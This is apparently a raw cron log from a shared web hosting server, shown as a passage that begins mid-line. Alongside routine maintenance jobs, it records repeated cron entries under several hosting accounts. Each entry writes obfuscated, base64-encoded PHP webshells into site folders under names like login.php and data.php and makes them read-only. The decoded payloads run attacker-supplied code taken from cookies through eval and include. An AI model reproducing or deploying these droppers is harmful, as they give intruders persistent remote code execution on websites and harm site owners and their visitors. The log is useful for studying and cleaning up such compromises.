3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 13:29:01 medusa CROND[31578]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 13:29:01 medusa CROND[31580]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 13:29:01 medusa CROND[31582]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 13:29:01 medusa CROND[31581]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 13:29:01 medusa CROND[31584]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 13:29:01 medusa CROND[31579]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Jun  7 13:29:01 medusa CROND[31588]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 13:30:01 medusa CROND[874]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 13:30:01 medusa CROND[914]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Jun  7 13:30:02 medusa CROND[954]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Jun  7 13:30:02 medusa CROND[955]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Jun  7 13:30:02 medusa CROND[958]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Jun  7 13:30:02 medusa CROND[959]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Jun  7 13:30:02 medusa CROND[960]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Jun  7 13:30:02 medusa CROND[963]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 13:30:02 medusa CROND[964]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 13:30:02 medusa CROND[967]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 13:30:02 medusa CROND[969]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Jun  7 13:30:02 medusa CROND[976]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Jun  7 13:30:02 medusa CROND[980]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 13:30:02 medusa CROND[981]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 13:30:02 medusa CROND[983]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 13:30:02 medusa CROND[985]: (artconc) CMD (/usr/local/bin/php /home13/artconc/public_html/apis/clima/climaop/curl.php >/dev/null 2>&1)
Jun  7 13:30:02 medusa CROND[993]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 13:30:02 medusa CROND[997]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 13:30:02 medusa CROND[998]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Jun  7 13:30:02 medusa CROND[999]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Jun  7 13:30:02 medusa CROND[996]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 13:30:02 medusa CROND[1000]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Jun  7 13:30:02 medusa CROND[990]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Jun  7 13:30:02 medusa CROND[1073]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Jun  7 13:30:02 medusa CROND[1075]: (servichina) CMD (php -q "/home4/servichina/public_html/wp-cron.php")
Jun  7 13:30:02 medusa CROND[1076]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Jun  7 13:30:02 medusa CROND[1078]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Jun  7 13:30:02 medusa CROND[1077]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 13:30:02 medusa CROND[1074]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Jun  7 13:30:02 medusa CROND[1093]: (dieg0fd) CMD (/usr/local/bin/php /home17/dieg0fd/public_html/wp-cron.php >/dev/null 2>&1)
Jun  7 13:30:02 medusa CROND[1095]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 13:31:01 medusa CROND[2977]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 13:31:01 medusa CROND[2978]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 13:31:01 medusa CROND[2979]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 13:31:01 medusa CROND[2980]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 13:31:01 medusa CROND[2981]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tc